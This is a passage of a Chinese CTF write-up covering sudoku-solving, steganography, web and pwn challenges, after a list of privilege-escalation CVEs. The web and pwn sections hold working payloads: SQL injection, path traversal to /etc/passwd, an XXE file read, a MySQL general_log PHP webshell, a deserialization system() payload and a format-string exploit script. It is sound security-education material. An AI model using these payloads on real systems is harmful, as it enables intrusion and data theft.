  • CVE-2016-1247(Nginx权限提升漏洞)
  • CVE-2017-16995(Ubuntu16.04 kernel:4.14-4.4)

Kali命令查询:

searchsploit CentOS 7
searchsploit Ubuntu 16.04

提权Exploit寻找:

  • http://www.exploit-db.com
  • http://metasploit.com/modules/
  • http://securityreason.com
  • http://seclists.org/fulldisclosure/
  • https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/tree/main

编译提权Exp

gcc -o /usr/share/nginx/html/***** /usr/share/nginx/html/*****.c -Wall

直接提权,确认权限:

cat /etc/shadow

其他提权姿势:https://www.freebuf.com/articles/system/244627.html

3.3.4 Windows提权

这里列举一些Windows的漏洞:

  • 各种Potato(Github上面基本都有)
  • CVE-2023-35359(Windows内核权限提升漏洞,开源了)
  • CVE-2022-24521(没有Exp的可以找我要)
  • CVE-2019-1405
  • CVE-2019-1322
MS17-017(整型溢出漏洞)
转载于原文: https://forum.butian.net/share/2536

一、MISC

1.sudoku_easy

简单的数独交互,几个小注意点,每次发送level之后sleep5秒才会返回题目

image-20230610185716309

将形如

---------------------

800103720

023840650

410006008

300001062

000052407

072060090

160000375

205019846

000030000

---------------------

转换成二维数组进行解数独,并将返回结果重新转换成多行字符串形式

def parse_input(input_list):

    board = []

 

    for row in input_list:

        nums = list(map(int, row))

        board.append(nums)

 

    return board

 

def format_output(board):

    formatted = ""

    for row in board:

        formatted += "".join(map(str, row)) + "\n"

    return formatted.strip()

一开始以为每次获得5分,要拿到120分,range了24次,一直出问题,后来发现获得分数是递增的,同时调试了一下发现拿到120分会返回一个getshell,因此修改一下range7次

最终脚本:

def find_empty(board):

    for row in range(9):

        for col in range(9):

            if board[row][col] == 0:

                return row, col

    return None

 

 

def is_valid(board, num, pos):

    row, col = pos

    for i in range(9):

        if board[row][i] == num and col != i:

            return False

        if board[i][col] == num and row != i:

            return False

 

    box_row = row // 3

    box_col = col // 3

 

    for i in range(box_row * 3, box_row * 3 + 3):

        for j in range(box_col * 3, box_col * 3 + 3):

            if board[i][j] == num and (i, j) != pos:

                return False

 

    return True

 

 

def solve(board):

    find = find_empty(board)

    if not find:

        return True

    else:

        row, col = find

 

    for i in range(1, 10):

        if is_valid(board, i, (row, col)):

            board[row][col] = i

 

            if solve(board):

                return True

 

            board[row][col] = 0

 

    return False

 

def parse_input(input_list):

    board = []

 

    for row in input_list:

        nums = list(map(int, row))

        board.append(nums)

 

    return board

 

def format_output(board):

    formatted = ""

    for row in board:

        formatted += "".join(map(str, row)) + "\n"

    return formatted.strip()

 

# input_string = '''---------------------

# 800103720

# 023840650

# 410006008

# 300001062

# 000052407

# 072060090

# 160000375

# 205019846

# 000030000

# ---------------------

# now give me you solve:'''

 

# lists=input_string.split('\n')[1:10]

# board = parse_input(lists)

# print(board)

# solve(board)

# print(board)

 

from pwn import *

 

# 创建连接

conn = remote('47.108.165.60',27539)

 

# 接收欢迎信息

for i in range(7):

    msg = conn.recvuntil("Please input:").strip().decode("utf-8")

    print(msg)

    # 发送选择

    conn.sendline('1'.encode())

 

    # 接收下一步提示

    msg = conn.recvuntil("Please select the level:").strip().decode("utf-8")

    print(msg)

 

    conn.sendline('5'.encode())

 

    msg = conn.recvuntil("clock start").strip().decode("utf-8")

    print(msg)

    time.sleep(5)

 

    msg = conn.recvuntil("now give me you solve:").strip().decode("utf-8")

    print(msg)

    lists = msg.split('\n')[1:10]

    board = parse_input(lists)

    solve(board)

    solved = format_output(board)

    conn.sendline(solved.encode())

 

conn.interactive()

或者

 

from pwn import *


def is_valid(board, row, col, num):
    # 检查行是否合法
    for i in range(9):
        if board[row][i] == num:
            return False

    # 检查列是否合法
    for i in range(9):
        if board[i][col] == num:
            return False

    # 检查小九宫格是否合法
    start_row = (row // 3) * 3
    start_col = (col // 3) * 3
    for i in range(3):
        for j in range(3):
            if board[start_row + i][start_col + j] == num:
                return False

    return True


def solve_sudoku(board):
    for row in range(9):
        for col in range(9):
            if board[row][col] == 0:
                for num in range(1, 10):
                    if is_valid(board, row, col, num):
                        board[row][col] = num
                        if solve_sudoku(board):
                            return True
                        board[row][col] = 0  # 回溯
                return False  # 所有数字都尝试过,没有找到合适的数字
    return True


def print_sudoku(board):
    a = ''
    for row in range(9):
        for col in range(9):
            a += str(board[row][col])
        a+='\n'
    return a.strip()



context.log_level = 'debug'

p = remote('47.108.165.60',23479)

p.recv()

for i in range(7):
    p.sendline('1')

    p.recvuntil('Please select the level:')

    p.sendline('5')

    a = '---------------------\nnow give me you solve:'
    content = p.recvuntil(a).decode().split(a)[0][-130:]

    sudoku = content.split('---------------------')[1]

    sudoku = sudoku.strip()
    sudoku = sudoku.split('\n')
    tmp = []
    for sudo in sudoku:
        a = [int(s) for s in sudo]
        tmp.append(a)

    if solve_sudoku(tmp):
        result = print_sudoku(tmp)
        log.info(result)
        for line in result.split('\n'):
            p.send(line)
    #content = p.recv().decode()
p.interactive()

单独的数独解密脚本:
class SudoKu():
    def __init__(self, sudo_ku_data):
        if not isinstance(sudo_ku_data, list):
            raise TypeError(f'sudo_ku_data params must a list, but {sudo_ku_data} is a {type(sudo_ku_data)}')

        if len(sudo_ku_data) != 9 or len(sudo_ku_data[0]) != 9:
            raise TypeError(
                f'sudo_ku_data params must a 9*9 list, but {sudo_ku_data} is a {len(sudo_ku_data)}*{len(sudo_ku_data[0])} list')

        self.sudo_ku = sudo_ku_data
        # 存放每一行已有的数据
        self.every_row_data = {}
        # 每一列已有的数字
        self.every_column_data = {}
        # 每一个3*3有的数字
        self.every_three_to_three_data = {}
        # 每一个空缺的位置
        self.vacant_position = []
        # 每一个空缺位置尝试了的数字
        self.every_vacant_position_tried_values = {}

        # 初始化数据
        self._init()

    def _add_row_data(self, row, value):
        '''
        初始化的时候
        添加数据到self.every_row_data中
        :param row:
        :param value:
        :return:
        '''
        if row not in self.every_row_data:
            self.every_row_data[row] = set()

        if value in self.every_row_data[row]:
            raise TypeError(f'params {self.sudo_ku} is a invalid SudoKu')

        self.every_row_data[row].add(value)

    def _add_column_data(self, column, value):
        '''
        初始化的时候
        添加数据到self.every_column_data中
        :param column:
        :param value:
        :return:
        '''
        if column not in self.every_column_data:
            self.every_column_data[column] = set()

        if value in self.every_column_data[column]:
            raise TypeError(f'params {self.sudo_ku} is a invalid SudoKu')

        self.every_column_data[column].add(value)

    def _get_three_to_three_key(self, row, column):
        '''
        得到每一个3*3的key
        :param row:
        :param column:
        :return:
        '''
        if row in [0, 1, 2]:
            if column in [0, 1, 2]:
                key = 1
            elif column in [3, 4, 5]:
                key = 2
            else:
                key = 3
        elif row in [3, 4, 5]:
            if column in [0, 1, 2]:
                key = 4
            elif column in [3, 4, 5]:
                key = 5
            else:
                key = 6
        else:
            if column in [0, 1, 2]:
                key = 7
            elif column in [3, 4, 5]:
                key = 8
            else:
                key = 9

        return key

    def _add_three_to_three_data(self, row, column, value):
        '''
        初始化的时候
        添加数据到self.every_three_to_three_data中
        :param row:
        :param column:
        :param value:
        :return:
        '''
        key = self._get_three_to_three_key(row, column)

        if key not in self.every_three_to_three_data:
            self.every_three_to_three_data[key] = set()

        self.every_three_to_three_data[key].add(value)

    def _init(self):
        '''
        根据传入的数独,初始化数据
        :return:
        '''
        for row, row_datas in enumerate(self.sudo_ku):
            for column, value in enumerate(row_datas):
                if value == '':
                    self.vacant_position.append((row, column))
                else:
                    self._add_row_data(row, value)
                    self._add_column_data(column, value)
                    self._add_three_to_three_data(row, column, value)

    def _judge_value_is_legal(self, row, column, value):
        '''
        判断方放置的数据是否合法
        :param row:
        :param column:
        :param value:
        :return:
        '''

        # value是否存在这一行数据中
        if value in self.every_row_data[row]:
            return False
        # value是否存在这一列数据中
        if value in self.every_column_data[column]:
            return False

        # value是否存在这个3*3的宫内
        key = self._get_three_to_three_key(row, column)
        if value in self.every_three_to_three_data[key]:
            return False

        return True

    def _calculate(self, vacant_position):
        '''
        计算,开始对数独进行放置值
        :param vacant_position:
        :return:
        '''
        # 得到当前位置
        row, column = vacant_position
        values = set(range(1, 10))

        # 对当前为位置创建一个唯一key,用来存放当前位置已经尝试了的数据
        key = str(row) + str(column)
        # 如果这个key存在,就对values进行取差集,因为两个都是集合(set),直接使用-就行了
        if key in self.every_vacant_position_tried_values:
            values = values - self.every_vacant_position_tried_values[key]
        # 如果这个key不存在,就创建一个空的集合
        else:
            self.every_vacant_position_tried_values[key] = set()

        for value in values:
            # 对当前数据添加到当前位置尝试过的的数据中
            self.every_vacant_position_tried_values[key].add(value)
            # 如果当前value合法,可以放置
            if self._judge_value_is_legal(row, column, value):
                # print(f'set {vacant_position} value is {value}')
                # 更新 判断数据合法时 需要使用到的数据
                self.every_column_data[column].add(value)
                self.every_row_data[row].add(value)
                key = self._get_three_to_three_key(row, column)
                self.every_three_to_three_data[key].add(value)

                # 修改这个位置的值为value
                self.sudo_ku[row][column] = value
                # 返回True 和填充的 value
                return True, value

        return False, None

    def _backtrack(self, current_vacant_position, previous_vacant_position, previous_value):
        '''
        回溯
        :param current_vacant_position: 当前尝试失败的位置
        :param previous_vacant_position: 上一次成功的位置
        :param previous_value:上一次成功的值
        :return:
        '''
        # print(f"run backtracking... value is {previous_value},vacant position is {previous_vacant_position}")
        row, column = previous_vacant_position
        # 对上一次成功的值从需要用到的判断的数据中移除
        self.every_column_data[column].remove(previous_value)
        self.every_row_data[row].remove(previous_value)

        key = self._get_three_to_three_key(row, column)
        self.every_three_to_three_data[key].remove(previous_value)

        # 并且上一次改变的的值变回去
        self.sudo_ku[row][column] = ''

        # 对当前尝试失败的位置已经城市失败的的值进行删除,因为回溯了,所以下一次进来需要重新判断值
        current_row, current_column = current_vacant_position
        key = str(current_row) + str(current_column)
        self.every_vacant_position_tried_values.pop(key)

    def get_result(self):
        '''
        得到计算之后的数独
        :return:
        '''
        # 空缺位置的长度
        length = len(self.vacant_position)
        # 空缺位置的下标
        index = 0

        # 存放已经尝试了的数据
        tried_values = []
        # 如果index小于length,说明还没有计算完
        while index < length:
            # 得到一个空缺位置
            vacant_position = self.vacant_position[index]

            # 计入计算函数,返回是否成功,如果成功,value为成功 的值,如果失败,value为None
            is_success, value = self._calculate(vacant_position)
            # 如果成功,将value放在tried_values列表里面,因为列表是有序的.
            # index+1 对下一个位置进行尝试
            if is_success:
                tried_values.append(value)
                index += 1
            # 失败,进行回溯,并且index-1,返回上一次的空缺位置,我们需要传入当前失败的位置 和 上一次成功的位置和值
            else:
                self._backtrack(vacant_position, self.vacant_position[index - 1], tried_values.pop())
                index -= 1

            # 如果index<0 了 说明这个数独是无效的
            if index < 0:
                raise ValueError(f'{self.sudo_ku} is a invalid sudo ku')

        # 打印计算之后的数独
        self.show_sudo_ku()
        return self.sudo_ku

    def show_sudo_ku(self):
        '''
        显示数独
        :return:
        '''
        for row in self.sudo_ku:
            for b in row:
                print(str(b), end="")
            print()
            # print(row)    # 原本


##################################################
#  用来判断最后计算的数独是否合法,和计算没有关系     #
##################################################

def judge_value_is_legal(row, column, value, sudo_ku):
    # column
    for i in range(0, 9):
        if row == i:
            continue
        if value == sudo_ku[i][column]:
            return False

    # row
    for i in range(0, 9):
        if column == i:
            continue
        if value == sudo_ku[row][i]:
            return False

    # three_to_three
    for i in range(row // 3 * 3, row // 3 * 3 + 3):
        for j in range(column // 3 * 3, column // 3 * 3 + 3):
            if i == row and j == column:
                continue
            if value == sudo_ku[i][j]:
                return False

    return True


def judge_sudo_ku_is_legal(sudo_ku):
    for row, row_values in enumerate(sudo_ku):
        for column, value in enumerate(row_values):
            if not judge_value_is_legal(row, column, value, sudo_ku):
                return False
    return True


if __name__ == '__main__':
    data = """450706200
200000048
000408060
085290006
602003950
700600830
500040680
900300100
821065073"""
    sudo1 = data.split('\n')
    sudo_ku_data = [list(s) for s in sudo1]
    for i in sudo_ku_data:
        for b in range(len(i)):
            if i[b] != '0':
                i[b] = int(i[b])
            else:
                i[b] = ''

    # 得到计算好的数独
    sudo_ku = SudoKu(sudo_ku_data).get_result()

    # 判断最后生成的数独是否是有效的
    # print(judge_sudo_ku_is_legal(sudo_ku))



image-20230610190212900

 

2.烦人的压缩包

打开压缩包要密码,爆破密码645321

 

 

o4tr11d5s1413727.jpg  

 

 

jpg文件尾压缩包

image-20230610190322841

提取出来直接解压提示crc报错

 

修复压缩包的crc3twflacqnxh13731.png

 

解开后ook解密

 

y4wsfkmsn5n13732.png https://www.splitbrain.org/services/ook

 

image-20230610193746752

3.sudoku_speedrun

小小升级版数独,telnet交互:

kali :: ~ 127 » telnet 47.108.165.60 37569

Trying 47.108.165.60...

Connected to 47.108.165.60.

Escape character is '^]'.

 

Ubuntu 22.04.2 LTS

Welcome to Play Sudoku Game!

Play(1)

Exit(2)

Please input

> 1

 

Tips:

R to replay

Q to exit

WASD to move

You have 10000ms to solve it :)

Please select the level

easy(5)

normal(6)

hard(7)

>5

image-20230610193910056

这次需要解出之后通过移动光标将数独还原

其实大差不差,这里主要几个点

题目用了ANSI转义码,读取数据时会有大量的乱码,需要replace掉 response=response.replace(b'\x1b[7;32m',b'').replace(b'\x1b[0m',b'').replace(b'\x1b[1;32m',b'').replace(b'\x1b[H\x1b[2J',b'') 这里我为方便采用了在每一行右移填补到最后之后,往下再重新左移到最左边,再开始下一行的右移填补,而不是用左移填补导致需要倒着索引,略微增加了时间复杂度   def solve(input_string):     original_board = parse_input(input_string)# 创建原始数组的副本     board_copy = [row[:] for row in original_board]         solution = solve_sudoku(original_board)     # print(board_copy)     # print(solution)     lists=[]     for i in range(9):         for j in range(9):             if board_copy[i][j] == 0:                 lists.append(str(solution[i][j]))             if j != 8:                 lists.append('d')         lists.extend('saaaaaaaa')             # print(f"索引为 ({i}, {j}) 的位置,填入数字 {solution[i][j]}")     return lists   读取到形如

‘’’

-------------------------

| 4 3 0 | 0 0 6 | 2 0 0 |

| 8 0 0 | 0 7 0 | 0 0 3 |

| 2 0 7 | 0 5 0 | 1 4 6 |

-------------------------

| 0 0 0 | 0 0 0 | 0 7 5 |

| 7 5 0 | 8 0 0 | 6 2 0 |

| 0 2 9 | 7 3 5 | 0 1 0 |

-------------------------

| 5 6 0 | 4 0 3 | 0 9 0 |

| 0 0 2 | 5 0 0 | 8 0 0 |

| 3 0 1 | 0 8 2 | 0 6 4 |

-------------------------’’’

转二维数组

def parse_input(input_string):

    rows = input_string.strip().split('\n')

    board = []

 

    for row in rows:

        row = row.replace('-', '').replace('|', '').split()

        nums = [int(num) if num != '0' else 0 for num in row]

        if nums!=[]:

            board.append(nums)

 

    return board

  经过尝试后发现只要发送数组服务器便会执行移动与填充操作,例如发送[‘d’,‘d’,‘1’]光标会右移两个单位并填入1

最终脚本:

import telnetlib

def solve_sudoku(board):

    if is_complete(board):

        return board

 

    row, col = find_empty_cell(board)

    for num in range(1, 10):

        if is_valid(board, row, col, num):

            board[row][col] = num

            if solve_sudoku(board):

                return board

            board[row][col] = 0

 

    return None

 

def is_complete(board):

    for row in board:

        if 0 in row:

            return False

    return True

 

def find_empty_cell(board):

    for i in range(9):

        for j in range(9):

            if board[i][j] == 0:

                return i, j

    return None, None

 

def is_valid(board, row, col, num):

    # Check row

    if num in board[row]:

        return False

 

    # Check column

    for i in range(9):

        if board[i][col] == num:

            return False

 

    # Check 3x3 box

    box_row = (row // 3) * 3

    box_col = (col // 3) * 3

    for i in range(box_row, box_row + 3):

        for j in range(box_col, box_col + 3):

            if board[i][j] == num:

                return False

 

    return True

 

def parse_input(input_string):

    rows = input_string.strip().split('\n')

    board = []

 

    for row in rows:

        row = row.replace('-', '').replace('|', '').split()

        nums = [int(num) if num != '0' else 0 for num in row]

        if nums!=[]:

            board.append(nums)

 

    return board

 

def solve(input_string):

    original_board = parse_input(input_string)# 创建原始数组的副本

    board_copy = [row[:] for row in original_board]

 

 

    solution = solve_sudoku(original_board)

    # print(board_copy)

    # print(solution)

    lists = []

    for i in range(9):

        for j in range(9):

            if board_copy[i][j] == 0:

                lists.append(str(solution[i][j]))

            if j != 8:

                lists.append('d')

        lists.extend('saaaaaaaa')

            # print(f"索引为 ({i}, {j}) 的位置,填入数字 {solution[i][j]}")

    return lists

 

tn = telnetlib.Telnet('47.108.165.60',36697)

 

welcome_msg = tn.read_until(b"Please input")

print(welcome_msg.decode("utf-8"))

 

# 发送返回值到服务器

tn.write("1".encode("utf-8") + b"\n")

 

msg = tn.read_until(b"hard(7)")

print(msg.decode("utf-8"))

 

tn.write("5".encode("utf-8") + b"\n")

 

msg = ''

for i in range(15):

    response = tn.read_until(b"\n")

    # print((response))

    response = response.replace(b'\x1b[7;32m',b'').replace(b'\x1b[0m',b'').replace(b'\x1b[1;32m',b'').replace(b'\x1b[H\x1b[2J',b'')

    msg += response.decode().strip('> 5')

tn.write(str(solve(msg)).encode("utf-8") + b"\n")

tn.interact()

 

或者脚本:

def solve_sudoku(puzzle):
    # 辅助函数:检查数字num是否可以放置在指定位置(row, col)
    def is_valid(num, row, col):
        # 检查行
        for i in range(9):
            if puzzle[row][i] == num:
                return False

        # 检查列
        for i in range(9):
            if puzzle[i][col] == num:
                return False

        # 检查3x3方格
        start_row = (row // 3) * 3
        start_col = (col // 3) * 3
        for i in range(3):
            for j in range(3):
                if puzzle[start_row + i][start_col + j] == num:
                    return False

        return True

    # 辅助函数:回溯求解数独
    def backtrack():
        for row in range(9):
            for col in range(9):
                if puzzle[row][col] == 0:  # 找到一个空格
                    for num in range(1, 10):  # 尝试数字1-9
                        if is_valid(num, row, col):
                            puzzle[row][col] = num  # 填入数字
                            if backtrack():  # 递归求解
                                return True
                            puzzle[row][col] = 0  # 回溯,撤销选择
                    return False
        return True

    # 将输入的字符串转换成二维列表
    puzzle = [[int(puzzle[i * 9 + j]) for j in range(9)] for i in range(9)]

    # 调用回溯函数求解数独
    if backtrack():
        # 将二维列表转换回字符串
        solution = ''.join(str(puzzle[i][j]) for i in range(9) for j in range(9))
        return solution
    else:
        return "No solution found."


# # 输入数独题目
# puzzle_input = "002506008160080500000070601006030075325090164070620000207041800010807340850003019"
#
# # 解答数独题目
# solution = solve_sudoku(puzzle_input)
#
# # 输出结果
# print(solution)



from pwn import *
context.log_level="debug"
p = remote('47.108.165.60',32449)
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'> ')
p.sendline(b'7')
p.recv()
s = p.recv()
s = s.replace(b'\x1b[7;32m',b'').replace(b'\x1b[1;32m',b'').replace(b'\x1b[0m',b'').replace(b'\r\n',b'').replace(b'|',b'').replace(b' ',b'').replace(b'-',b'').replace(b'\x1b[H\x1b[2J',b'').decode()
# print(s)
solution = solve_sudoku(s)
# print(solution)
flag = ''
for i in range(9):
    for j in range(9):
        if(s[i*9+j] != '0'):
            flag += 'd'
        else:
            flag += solution[i*9+j]
            flag += 'd'
    flag = flag[:-1]
    flag += 'saaaaaaaa'
print(flag)
flag = flag.encode()
p.sendline(flag)
r = p.recvall(100000)
print(r.decode())
print(s)
print(solution)

 

xdxkysuqcwt13736.jpg  

 

4.cancellation

题目得到noise.mp4,意外的发现用windows media player播放可以读到一串sstv

image-20230610200317154

结合file用Matroska打包猜测应该是mkv文件

image-20230610200410070

用mkvtool发现确实有多个音频轨道

image-20230610200535476

mkvextract.exe提取出来两个音频(轨道是从0开始的,mkvtool里的轨道编号从1开始的)

image-20230610201638810

轨道3可以读到一张图

image-20230610200931537

轨道2可以读到一个模糊无法识别的二维码,仔细观察可以发现背景图似乎就是轨道3读到的图

image-20230610201035296

在测试过程中发现在一定位置挂上notch之后,可以读到很清晰的后半边的二维码,左半边变得更加模糊了,但却更加清晰的显示出背景图,明显就是轨道3的图

image-20230610201214671

再结合题目名,大胆猜测轨道2的sstv做了一个叠加处理,尝试几次后2*轨道2-轨道3可以扫描出正确的图像(这里放完整二维码图片会被csdnban掉)

import librosa

import soundfile as sf

import numpy as np

 

audio1, sr1 = librosa.load('2.wav', sr=None)

audio2, sr2 = librosa.load('3.wav', sr=None)

 

result =  2*audio1-audio2

sf.write('result.wav', result, sr1)

 

或者脚本:

from scipy.io import wavfile
import numpy as np

# 加载两个音频文件
rate1, audio1 = wavfile.read('output1.wav')
rate2, audio2 = wavfile.read('output2.wav')

# 确保两个音频的采样率相同,如果不同,进行重新采样
if rate1 != rate2:
    # 重新采样audio2为与audio1相同的采样率
    audio2 = np.interp(np.linspace(0, len(audio2), len(audio1)), np.arange(len(audio2)), audio2).astype(audio1.dtype)

# 确保两个音频的长度相同,如果不同,进行裁剪或填充
length = min(len(audio1), len(audio2))
audio1 = audio1[:length]
audio2 = audio2[:length]

# 音频相减
result = audio1 - audio2//2

# 保存为新的音频文件
wavfile.write('output_diff.wav', rate1, result)

 

 

image-20230610215510870

扫描的结果解base64得到图片

image-20230610202014820

拿到flag

二、web

1.go题目

注册用户登录进去 jcva3pvlzvx13749.png

 

categories这里随便加一个

 

phou1rm31df13750.jpg

 

新建一个task 放到里面

 

uqxnmtbnkpy13752.jpg

 

然后在search那里注入,这里解释下为什么会这样

stmt := "select t.id, title, content, created_date, priority, c.name from task t, category c where t.user_id=? and c.id = t.cat_id and (title like '%" + query + "%' or content like '%" + query + "%'order by created_date desc"

这里是直接query没任何限制,直接注入就行了,但是调试的时候没添加priority这个字段,导致查询一直错误,没调试出来真的可惜。

 

o11jubnfbuc13754.jpg

 

然后到这里就很明了构造闭合,直接去查询数据。

 

vlh5fw5p25s13755.jpg

 

select t.id, title, content, created_date, priority, c.name from task t, category c where t.user_id=? and c.id = t.cat_id and (title like '%1') union select 1,email,3,4,5,username from user -- %' or content like '%1') union select 1,email,3,4,5,username from user -- %') order by created_date desc

然后题目数据库里面有个 oss的桶,这里环境没了没法继续了。

1') union select 1,url,3,4,secretId ,secretKey from secret -- +
查询出来登录拿flag就行了。  

 

2.CarelessPy

打开环境,可以发现有两个接口,一个是eval,另一个是login处

访问eval路径,可知get请求访问,且cmd传参,要任意读取part.cpython-311.pyc文件,但是不知道具体路径。

 

znnq0p5xa5i13756.jpg  

 

存在文件下载漏洞,构造Payload:

/download?file=../../../../../etc/passwd  下载成功

/download?file=../../../../../proc/1/environ 下载失败

构造去下载提示的start.sh

ugnw2v013nt13758.jpg /download?file=../../../../../start.sh 得到文件内容,app目录下 存在 part.py文件。 ig44bhdj1g013759.jpg  

 

 

继续构造下载pyc文件/download?file=../../../../../../../app/__pycache__/part.cpython-311.pyc

或者/eval?cmd=app/__pycache__/

使用在线工具进行反编译,得到session的key

 

 

ipcpff3odlw13761.png

然后对session进行伪造
tkablvm4esv13762.png

构造session去登录,获得路由

 

qolbvojowjf13763.jpg

 

登录成功
ikhkzxhgejt13765.png
pes0f5fb2w013767.png

一看就是XML注入
pwmvrqh1gnw13768.png

<?xml version="1.0" ?><!DOCTYPE message [
<!ENTITY shell SYSTEM "file:///flag">
]>
<result><ctf>杂鱼~</ctf><web>
&shell;
</web></result>
#SYCTF{COrReCt_AN5w3r_fa0efe410508}


 

 

3.Confronting robot

方法一:

打开网页发现存在sql注入
shpzlfcpcu213770.png

直接sqlmap跑
payload:sqlmap -u "http://x.x.x.x:34918/?myname=aaa" -D robot_data -T name --columns --dump
vxd3f0e0sjq13771.png

得到路由/sEcR@t_n@Bodyknow.php
在该页面可以通过POST传入code直接执行Sql语句
0zhu3dx3l4s13772.png

使用sqlmap跑mysql.user的数据表查看一下权限,发现当前用户拥有Super_priv的权限,但是没有其他可以利用权限。但是root用户存在所有权限
3uvccsk1tom13773.png

解题思路:修改'root'@'::1'为'secret'@'%',然后把'secret'@'localhost'随便修改一个名字,这样链接的数据库就拥有root权限了。需要注意的是密码也需要改成和secret相同。
把secret密码dump下来
qqahtt5e52413774.png

首先修改root的密码,
payload:alter user 'root'@'127.0.0.1' identified by PASSWORD '*C4809B442CD41D91C25BAEA070D00FF39A87190D';
fvgj2vrny5k13775.png

查询是否修改成功
efigwct5bhl13776.png

在继续把'root'@'127.0.0.1'修改成'secret'@'%'
payload:rename user 'root'@'127.0.0.1' to 'secret'@'%';
oaotpooujw213777.png

然后把'secret'@'localhost'修改成任意名字即可
payload:rename user 'secret'@'localhost' to 'aaa'@'%';
hj50te2v0zl13779.png

最后直接读取game.php文件,获得flag
f3zovhthwml13780.png

SYCTF{RObOt_r0B07_3599ec7eac28}

 

方法二:

参数myname存在SQL注入,SQLMAP直接跑

 

vlhmkabgqhb13782.jpg 得到路由/sEcR@t_n@Bodyknow.php,该路由可以直接调用数据库执行SQL uaz4bfbmbhc13784.jpg

 

看题意要猜拳 10 把正确,才能获取 flag,同时还有另一个注入点,测试插入数据失败。测试了一下日志 getshell 成功,非预期

SHOW VARIABLES LIKE '%general%';
set global general_log = "ON";
set global general_log_file='/var/www/html/sEcR@t_n@Bodyknow.php';
select "<?php eval($_POST['pass']);?>";

 

然后直接select记录一次马即可shell

蚁剑连接game.php得到flag

 

 

z2ulr1fq1vl13785.jpg  

 

 

 

4.4号的罗纳尔多

jibfcgb0fix13786.jpg

一个反序列化,两个关键点要绕,第一个可以通过 php 内置类 splstack 绕过匹配 O 开头的序列化数据;第二个可以通过__halt_compiler();来结束 php 代码执行流程,绕过givemegirlfriend!字符串的影响。

<?php 

class evil{
    public $cmd;
    public $a;
    
}
$evilClass = new evil();
$evilClass->cmd = 'system(next(getallheaders()));__halt_compiler();';
$a = new SplStack();
$a -> push($evilClass);
echo serialize($a);

 

4bycg4xm0br13788.jpg  

 

 

三、Pwn

1.harde_pwn

第一步:溢出seed为固定值,这样的话就变成了伪随机。
第二步:用格式化字符串漏洞泄露libc和程序基地址。
第三步:用格式化字符串漏洞打heap_fmt函数运行时候rbp下面的返回地址为onegadgets。
第四步:用格式化字符串漏洞打heap_fmt函数中read函数的返回地址为leave ret。
第五步:get shell。

POC:

from pwn import *

p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(os='linux',arch='amd64',log_level='debug')

def duan():
 gdb.attach(p)
 pause()
 
rand = [1804289348,846930915,1681692750,1714636888,1957747830,424238300,719885423,1649760457,596516622,1189641450,1025202335,1350490000,783368663,1102520032,2044897736,1967513955,1365180505,1540383463,304089201,1303455709,35005248]


p.recvuntil('game!\n')
payload = b'a'*(0x20-0x4)+p32(0)
p.send(payload)

for i in range(21):
 p.sendlineafter('input: \n',str(rand[i]))
 p.recvuntil('Success!\n')
p.recvuntil('ata ;)\n')
payload = 'aaaa%3$pbbbb%15$p'
p.send(payload)
p.recvuntil('aaaa')
libc_base = int(p.recv(14),16)-1132946
p.recvuntil('bbbb')
stack = int(p.recv(14),16)


print('stack-->'+hex(stack))
print('libc_base-->'+hex(libc_base))

temp = stack-320+0x20
temp = str(hex(temp)[-4:])
print('temp-->'+temp)

payload = '%'+str(int(temp,16))+'c%15$hnaaaaaaaa\x00'
p.send(payload)
p.recvuntil('aaaaaaaa')

og = [0xebcf1,0xebcf5,0xebcf8]
shell = libc_base+og[1]


payload = '%'+str(int(hex(shell)[-4:],16))+'c%45$hnabccba'
p.send(payload)
p.recvuntil('abccba')


payload = '%'+str(int(temp,16)+2)+'c%15$hnaaaaaaaa\x00'
p.send(payload)
p.recvuntil('aaaaaaaa')

payload = '%'+str(int(hex(shell)[-8:-4],16))+'c%45$hnabccba'
p.send(payload)
p.recvuntil('abccba')

payload = '%'+str(int(temp,16)+4)+'c%15$hnaaaaaaaa\x00'
p.send(payload)
p.recvuntil('aaaaaaaa')

payload = '%'+str(int(hex(shell)[-12:-8],16))+'c%45$hnabccba'
p.send(payload)
p.recvuntil('abccba')

payload = 'aaaa%13$p\x00'
p.send(payload)
p.recvuntil('aaaa')

pie = int(p.recv(14),16)-0x1502

print('pie-->'+hex(pie))
print('shell-->'+hex(shell))

gongji = pie+0x1366

temp = stack-320+0x20-0x20
temp = str(hex(temp)[-4:])

payload = '%'+str(int(temp,16))+'c%15$hnaaaaaaaa\x00'
p.send(payload)
p.recvuntil('aaaaaaaa')

payload = '%'+str(int(hex(gongji)[-4:],16))+'c%45$hnabccba'
p.send(payload)
p.recvuntil('abccba')

p.interactive()

 

或者脚本:

#coding:utf-8

import sys

from pwn import *

from ctypes import CDLL

context.log_level='debug'

elfelf='./harde_pwn'

#context.arch='amd64'

while True :

  # try :

    elf=ELF(elfelf)

    context.arch=elf.arch

 

    gdb_text='''

      b printf

      '''

 

    if len(sys.argv)==1 :

      clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')

      io=process(elfelf)

      gdb_open=1

      # io=process(['./'],env={'LD_PRELOAD':'./'})

      clibc.srand(0)

      libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

      # ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')

      one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]

 

    else :

      clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')

      io=remote('47.108.165.60',47183)

      gdb_open=0

      clibc.srand(0)

      libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

      # ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')

      one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]

 

    def gdb_attach(io,a):

      if gdb_open==1 :

        gdb.attach(io,a)

 

    io.recvuntil('elcome to a ctype game!\n')

    io.send('\x00'*0x20)

    for i in range(21):

      io.recvuntil(': \n')

      io.sendline(str((clibc.rand() ^ 0x24) + 1))

 

    io.recv()

    io.send('%31$p')

    io.recvuntil('0x')

 

 

    

    libc_base=int(io.recv(12),16)-libc.sym['__libc_start_main']-128

    libc.address=libc_base

    bin_sh_addr=libc.search('/bin/sh\x00').next()

    system_addr=libc.sym['system']

    free_hook_addr=libc.sym['__free_hook']

    pop_rax_ret=libc.search(asm('pop rax;ret')).next()

    pop_rdi_ret=libc.search(asm('pop rdi;ret')).next()

    pop_rsi_ret=libc.search(asm('pop rsi;ret')).next()

    pop_rdx_ret=libc.search(asm('pop rdx;ret')).next()

